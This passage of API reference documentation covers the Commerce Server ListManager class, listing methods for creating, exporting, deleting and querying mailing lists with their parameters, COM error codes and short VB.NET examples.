For a list of possible values for the lflags parameter, see the GetListFlags method.

Rows with duplicate e-mail addresses in the file are ignored.

The parameter pvarOpID contains valid data only if the creation operation is performed asynchronously.

Example

' oListID is an Object
oListID = oListManager.CreateFromFile("TequillaBuyers1", _
 "Tequilla buyers in January", 20, 0, "Tequilla.csv", 10, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.CreateFromSegment Method (PIA)

Use this method to create a list from a Predictor resource segment.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function CreateFromSegment(
  listName As String,
  listDesc As String,
  lFlags As Integer,
  userFlags As Integer,
  modelName As String,
  segmentName As String,
  predHostName As String,
  DWConnStr As String,
  fpMinProbability As Double,
  bAsync As Integer,
  Optional ByRef pvarOpID As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object CreateFromSegment(
  string listName,
  string listDesc,
  int lFlags,
  int userFlags,
  string modelName,
  string segmentName,
  string predHostName,
  string DWConnStr,
  double fpMinProbability,
  int bAsync,
  ref object pvarOpID
);

Parameters

[Visual Basic .NET]
listName
A String that contains provides the name for the list.
listDesc
A String that contains the list description.
lFlags
An Integer that specifies the bitmask flags that control the type of list created.
userFlags
An Integer that contains application-specific user flags. Not used by the ListManager object.
modelName
A String that contains the name of the Predictor segment model to use.
segmentName
A String that contains the name of the segment to import.
predHostName
A String that contains the name of the Predictor host server.
DWConnStr
A String that contains the Data Warehouse connection string.
fpMinProbability
A Double that contains the minimum probability associated with a given segment member for that member to be included in the list.
bAsync
An Integer that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
listName
A string that provides the name for the list.
listDesc
A string that contains the list description.
lFlags
An int that specifies the bitmask flags that control the type of list created.
userFlags
An int that contains application-specific user flags. Not used by the ListManager object.
modelName
A string that contains the name of the Predictor segment model to use.
segmentName
A string that contains the name of the segment to import.
predHostName
A string that contains the name of the Predictor host server.
DWConnStr
A string that contains the Data Warehouse connection string.
fpMinProbability
A double that contains the minimum probability associated with a given segment member for that member to be included in the list.
bAsync
An int that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object used to return the new list ID.

[C#] This method returns a reference to an object used to return the new list ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400001 | Failed to establish database connection.
&H8C400017 | Unable to create the object.
&H8C400005 | Invalid flags value.
&H8C400007 | The specified list has already been created.
&H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400001 | Failed to establish database connection.
0x8C400017 | Unable to create the object.
0x8C400005 | Invalid flags value.
0x8C400007 | The specified list has already been created.
0x8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

This method calls into the PredictorServiceSiteAdmin object, passing it the modelName, segmentName, and fpMinProbability parameters along with a connection string to the database used by the ListManager object, and the table name that it should create.

For a list of possible values for the lflags parameter, see the GetListFlags method.

[Visual Basic .NET]

Example

' oListID is an Object
oListID = oListManager.CreateFromSegment("TequillaBuyers", _
 "Thirty year old tequilla buyers ", 20, 0, "Tequilla", "Thirty", _
 "TequillaServer", "Provider=SQLOLEDB;Data Source=servername;" & _
 "Initial Catalog=Retail_dw;Integrated Security='SSPI';", 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class

ListManager.GetListFlags


ListManager.CreateFromSql Method (PIA)

Use this method to create a list from an SQL query.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function CreateFromSql(
 listName As String,
 listDesc As String,
 lFlags As Integer,
 userFlags As Integer,
 connStr As String,
 queryStr As String,
 errLimit As Integer,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object CreateFromSql(
 string listName,
 string listDesc,
 int lFlags,
 int userFlags,
 string connStr,
 string queryStr,
 int errLimit,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
listName
A String that provides the name for the list.
listDesc
A String that provides a description for the list.
lFlags
An Integer that specifies the bitmask flags that control the type of list created.
userFlags
An Integer that contains application-specific user flags. Not used by the ListManager object.
connStr
A String that contains the connection string for the SQL Server database.
queryStr
A String that contains the SQL query for retrieving the contents of the new list.
errLimit
An Integer that is not used.
bAsync
An Integer that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
listName
A string that provides the name for the list.
listDesc
A string that provides a description for the list.
lFlags
An int that specifies the bitmask flags that control the type of list created.
userFlags
An int that contains application-specific user flags. Not used by the ListManager object.
connStr
A string that contains the connection string for the SQL Server database.
queryStr
A string that contains the SQL query for retrieving the contents of the new list.
errLimit
An int that is not used.
bAsync
An int that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the ID of the new list.

[C#] This method returns a reference to an object used to return the ID of the new list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400001 | Failed to establish database connection.
&H8C400005 | Invalid flags value.
&H8C400007 | The specified list has already been created.
&H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400001 | Failed to establish database connection.
0x8C400005 | Invalid flags value.
0x8C400007 | The specified list has already been created.
0x8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

It is recommended that you use the MSDASQL (ODBC) OLEDB provider with this method.

The CreateFromSQL method uses the T-SQL OpenRowset command to run the query against the database.

For a list of possible values for the lflags parameter, see the GetListFlags method.

[Visual Basic .NET]

Example

' oListID is an Object
oListID = oListManager.CreateFromSql("LegalTequillaBuyers", _
 "Tequilla buyers at least 21", 20, 0, "Provider=sqloledb;" & _
 "Data Source=TequillaServer;Initial Catalog=Margaritas;" & _
 "Integrated Security='SSPI'", "SELECT * FROM dbname.dbo.Tequilla " & _
 "WHERE Age >= 21", 10, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.Delete Method (PIA)

Use this method to delete a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Delete(
 listID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Delete(
 object listID
);

Parameters

[Visual Basic .NET]
listID
An Object that specifies the ID or name of the list to be deleted.
[C#]
listID
An object that specifies the ID or name of the list to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

To be deleted, a list cannot be busy with any operation.

The list data is also deleted.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.ExportToFile Method (PIA)

Use this method to export a Mailing list to a text file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub ExportToFile(
 listID As Object,
 fileName As String,
 bUnicode As Integer,
 bOverwrite As Integer,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void ExportToFile(
 object listID,
 string fileName,
 int bUnicode,
 int bOverwrite,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list to be exported.
fileName
A String that contains the name of the file.
bUnicode
An Integer that specifies the character format of the export file. A value of 1 indicates that Unicode characters should be used. A value of 0 indicates that the current system character set should be used.
bOverwrite
An Integer that specifies whether to overwrite the data in the export file, if it exists. A value of 1 indicates that the data should be overwritten. A value of 0 causes the method to fail if the file exists.
bAsync
An Integer that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
listID
An object that contains the ID or name of the list to be exported.
fileName
A string that contains the name of the file.
bUnicode
An int that specifies the character format of the export file. A value of 1 indicates that Unicode characters should be used. A value of 0 indicates that the current system character set should be used.
bOverwrite
An int that specifies whether to overwrite the data in the export file, if it exists. A value of 1 indicates that the data should be overwritten. A value of 0 causes the method to fail if the file exists.
bAsync
An int that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C40000A | The specified file path is not valid.
&H8C400009 | The List Manager service does not have permission to open the specified file. Check the permissions for the List Manager service account against the permissions for the file.
&H8C400010 | The specified file cannot be created because it already exists.
&H8C400016 | The network share does not exist and a full path was not specified for the file.
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C40000A | The specified file path is not valid.
0x8C400009 | The List Manager service does not have permission to open the specified file. Check the permissions for the List Manager service account against the permissions for the file.
0x8C400010 | The specified file cannot be created because it already exists.
0x8C400016 | The network share does not exist and a full path was not specified for the file.
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

If the list is a Mailable list but not a Mailing list, a temporary Mailing list is created and then exported.

If an absolute file path and name are not specified, ListManager exports the file relative to a root folder named CommerceLists on the local computer running the ListManager resource. If the folder does not exist, an error is returned.

ListManager exports the file in the following format. The is Message Format field is an integer, all other fields are strings and enclosed in double quotation marks.

   <Mail-to address>,<User ID>,<Message Format>,<Locale>,
   <Source URL><cr><lf>

The parameter pvarOpID contains valid data only if the export operation is performed asynchronously.

[Visual Basic .NET]

Example

oListManager.ExportToFile ("{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "Tequila.csv", 0, 1, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.ExportToSql Method (PIA)

Use this method to export a list to the specified table in a Microsoft SQL Server database. This operation can be performed synchronously or asynchronously.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub ExportToSql(
 listID As Object,
 connStr As String,
 resTable As String,
 bOverwrite As Integer,
 lOptions As Integer,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void ExportToSql(
 object listID,
 string connStr,
 string resTable,
 int bOverwrite,
 int lOptions,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list to be exported.
connStr
A String that contains the connection string for the SQL Server database.
resTable
A String that contains the name of the table into which the list will be exported.
bOverwrite
An Integer that specifies whether to overwrite the data in the table if the table already exists. A value of 1 indicates that the data should be overwritten. A value of 0 produces an error if the tables already exist.
lOptions
An Integer that specifies the export options, for use by the Direct Mail resource. Other applications should generally pass the value 0. A value of 1 causes special action to be taken. See the Remarks section below.
bAsync
An Integer that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing. A value of 0 indicates synchronous processing.
pvarOpID
An optional Object used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
[C#]
listID
An object that contains the ID or name of the list to be exported.
connStr
A string that contains the connection string for the SQL Server database.
resTable
A string that contains the name of the table into which the list will be exported.
bOverwrite
An int that specifies whether to overwrite the data if the table already exists. A value of 1 indicates that the data should be overwritten. A value of 0 produces an error if the tables already exist.
lOptions
An int that specifies the export options for use by the Direct Mail resource. Other applications should generally pass the value 0. A value of 1 causes special action to be taken. See the Remarks section below.
bAsync
An int that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing. A value of 0 indicates synchronous processing.
pvarOpID
A reference to an object used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400001 | Failed to establish database connection.
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000F | The specified table cannot be created because it already exists.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400001 | Failed to establish database connection.
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000F | The specified table cannot be created because it already exists.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The ExportToSQL method works by opening a connection on the destination SQL Server database and executing the T-SQL OpenRowset command to select data from the List Manager database. Because of this, some special caveats apply:

  • The destination database must have the Bulk Copy/Select Into option selected.
  • If List Manager was initialized with a connection string containing a DSN then the SQL server computer hosting the destination database must also have the DSN configured.
  • Unlike the CreateFromSQL command, ODBC data sources other than SQL Server 2000 or greater are not supported.

The parameter pvarOpID contains valid data only if the export operation is performed asynchronously.

The lOptions parameter specifies whether the exported list is intended for use with Direct Mailer, controlling how it is processed during the export. The following table shows the legal values of the IOptions parameter.

lOptions Value | Description
0 | Do not do any special processing for Direct Mailer.
1 | Export the list for use with Direct Mailer. The list must be a Mailable list or an error is returned. If the list is not a Mailing list, it is converted to one.
[Visual Basic .NET]

Example

oListManager.ExportToSql ("{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "Provider=sqloledb;Data Source=TequillaServer;" & _
 "Initial Catalog=Margaritas;Integrated Security='SSPI'", _
 "Tequila", 0, 0, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class

ListManager.ExtractMailingList


ListManager.ExtractMailingList Method (PIA)

Use this method to create a new Mailing list from a Generic list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function ExtractMailingList(
  srcList As Object,
  reslistName As String,
  reslistDesc As String,
  userFlags As Integer,
  bAsync As Integer,
  Optional ByRef pvarOpID As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object ExtractMailingList(
  object srcList,
  string reslistName,
  string reslistDesc,
  int userFlags,
  int bAsync,
  ref object pvarOpID
);

Parameters

[Visual Basic .NET]
srcList
An Object that contains the ID or name of the generic source list.
reslistName
A String that contains the new mailing list name.
reslistDesc
A String that contains the description of the new mailing list.
userFlags
An Integer that contains application-specific user flags. Not used by the ListManager object.
bAsync
An Integer that specifies whether the export operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
srcList
An object that contains the ID or name of the generic source list.
reslistName
A string that contains the new mailing list name.
reslistDesc
A string that contains the description of the new mailing list.
userFlags
An int that contains application-specific user flags. Not used by the ListManager object.
bAsync
An int that specifies whether the export operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the ID of the new list.

[C#] This method returns a reference to an object used to return the ID of the new list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400007 | The specified list has already been created.
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
&H8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400007 | The specified list has already been created.
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
0x8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The source list must be a Mailable list (contains an rcp_email column). Any duplicate e-mail addresses are removed in the result list.

[Visual Basic .NET]

Example

' oListID & pvarOpId are Objects
oListID = oListManager.ExtractMailingList("{454799A2-312B-4F5F-90A0-" & _
 "F514FBA0EC5A}", "TequilaBuyers1", "Tequilla buyers in January", 0, _
 1, pvarOpID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetListFlags Method (PIA)

Use this method to retrieve the flags attribute for a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetListFlags(
 listID As Object
) As Integer
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public int GetListFlags(
 object listID
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list.
[C#]
listID
An object that contains the ID or name of the list.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer that contains the flags attribute.

[C#] This method returns an int used to return the flags attribute.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The following table lists the possible flag parameter values used to determine the type of list created. Values may be ORed together to specify more than one flag.

Type | Value | Description
DEFAULT | 0x0 | A Mailing list
HIDDEN | 0x1 | The list should not be exposed in the user interface.
DYNAMIC | 0x2 | A dynamic list
USER | 0x4 | A User list (contains an rcp_guid column)
GENERIC | 0x8 | A Generic list
MAILABLE | 0x10 | A Mailable list (contains an rcp_email column)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetListId Method (PIA)

Use this method to retrieve the ID of a list based on the list name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetListId(
  listName As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object GetListId(
  string listName
);

Parameters

[Visual Basic .NET]
listName
A String that contains the list name.
[C#]
listName
A string that contains the list name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the ID (a GUID) of the list.

[C#] This method returns an object used to return the ID (a GUID) of the list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetListName Method (PIA)

Use this method to retrieve the name of a list given the list ID.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetListName(
  listID As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public string GetListName(
  object listID
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the list ID.
[C#]
listID
An object that contains the list ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the name of the list.

[C#] This method returns a string used to return the name of the list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetListProperty Method (PIA)

Use this method to retrieve a property of a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetListProperty(
  listID As Object,
  listPropertyName As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object GetListProperty(
  object listID,
  string listPropertyName
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list.
listPropertyName
A String that contains the property name (column of the lm_master table).
[C#]
listID
An object that contains the ID or name of the list.
listPropertyName
A string that contains the property name (column of the lm_master table).

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the value of the property.

[C#] This method returns a reference to an object used to return the value of the property.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

For information about the available list properties, see ListManager.GetLists.

[Visual Basic .NET]

Example

' oSource is an Object
oSource = _
 oListManager.GetListProperty("{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "list_source")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetLists Method (PIA)

Use this method to enumerate all lists known to the ListManager object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetLists() As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For Recordset
…
public object GetLists();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains the details of the lists known to this instance of the ListManager object.

[C#] This method returns an object (typically an ADODB26Lib.Recordset) used to return the details of the lists known to this instance of the ListManager object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET]

This method returns an instance of a read-only Recordset object that contains a record for each list in the ListManager object database. The Recordset object does not contain any lists that are not completely created at the time this method is invoked.

If there are not any lists completely created at the time this method is invoked, the method returns successfully, but the Recordset object is empty.

The following table describes the fields returned in the Recordset object.

Field | Type | Description
list_id | uniqueidentifier | Identification number of the list.
list_name | NVARCHAR [64] | Name of the list.
list_created | datetime | Date/time the list record was created.
list_creation_type | smallint | Method used to create the list. Legal values are: 1 - CreateFromFile 2 - CreateFromSQL 3 - CreateFromDWCalc 4 - CreateFromSegment 5 - Other (subtraction, union, extraction, etc.)
list_description | NVARCHAR [256] | List description.
list_err_limit | long | The error threshold for the list.
list_flags | int | Bit flags for the list. Can bitwise OR together to specify more than one flag. Legal values are: 0x0 - DEFAULT 0x1 - HIDDEN 0x2 - DYNAMIC 0x4 - USER 0x8 - GENERIC 0x10 - MAILABLE
list_location | NVARCHAR [256] | Location (table name) where the list data is stored.
list_query | NVARCHAR [1024] | Query used to create the list.
list_recent_operid | NVARCHAR [128] | ID of the most recent list operation. May be null if the list is a new list created by the CreateEmpty method.
list_size | int | Number of rows in the list (-1 for dynamic lists).
list_source | NVARCHAR [512] | Name of the file, connection string, or file name used to create the list.
list_status | int | Status of the list. Legal values are: 1 - ready for processing 2 - being processed; other operations are not permitted 3 - failed
list_unique_emails | int | Number of unique rcp_email values in the list (-1 for dynamic lists).
list_unique_guids | int | Number of unique rcp_guid values in the list (-1 for dynamic lists).
list_userflags | int | Application specific. Not used by the ListManager object.
[C#]

This method returns an instance of a read-only ADODB26Lib.Recordset object that contains a record for each list in the ListManager object database. The Recordset object does not contain any lists that are not completely created at the time this method is invoked.

If there are not any lists completely created at the time this method is invoked, the method returns successfully, but the Recordset object is empty.

The following table describes the fields returned in the Recordset object.

Field | Type | Description
list_id | uniqueidentifier | Identification number of the list.
list_name | NVARCHAR [64] | Name of the list.
list_created | Datetime | Date/time the list record was created.
list_creation_type | Smallint | Method used to create the list. Legal values are: 1 - CreateFromFile 2 - CreateFromSQL 3 - CreateFromDWCalc 4 - CreateFromSegment 5 - Other (subtraction, union, extraction, etc.)
list_description | NVARCHAR [256] | List description.
list_err_limit | Long | The error threshold for the list.
list_flags | Int | Bit flags for the list. Can bitwise OR together to specify more than one flag. Legal values are: 0x0 - DEFAULT 0x1 - HIDDEN 0x2 - DYNAMIC 0x4 - USER 0x8 - GENERIC 0x10 - MAILABLE
list_location | NVARCHAR [256] | Location (table name) where the list data is stored.
list_query | NVARCHAR [1024] | Query used to create the list.
list_recent_operid | NVARCHAR [128] | ID of the most recent list operation. May be Null if the list is a new list created by the CreateEmpty method.
list_size | Int | Number of rows in the list (-1 for dynamic lists).
list_source | NVARCHAR [512] | Name of the file, connection string, or filename used to create the list.
list_status | Int | Status of the list. Legal values are: 1 - ready for processing 2 - being processed; other operations are not permitted 3 - failed
list_unique_emails | Int | Number of unique rcp_email values in the list (-1 for dynamic lists).
list_unique_guids | Int | Number of unique rcp_guid values in the list (-1 for dynamic lists).
list_userflags | Int | Application specific. Not used by the ListManager object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.GetListUserFlags Method (PIA)

Use this method to retrieve the UserFlags attribute for a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetListUserFlags(
 listID As Object
) As Integer
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public int GetListUserFlags(
 object listID
);

Parameters

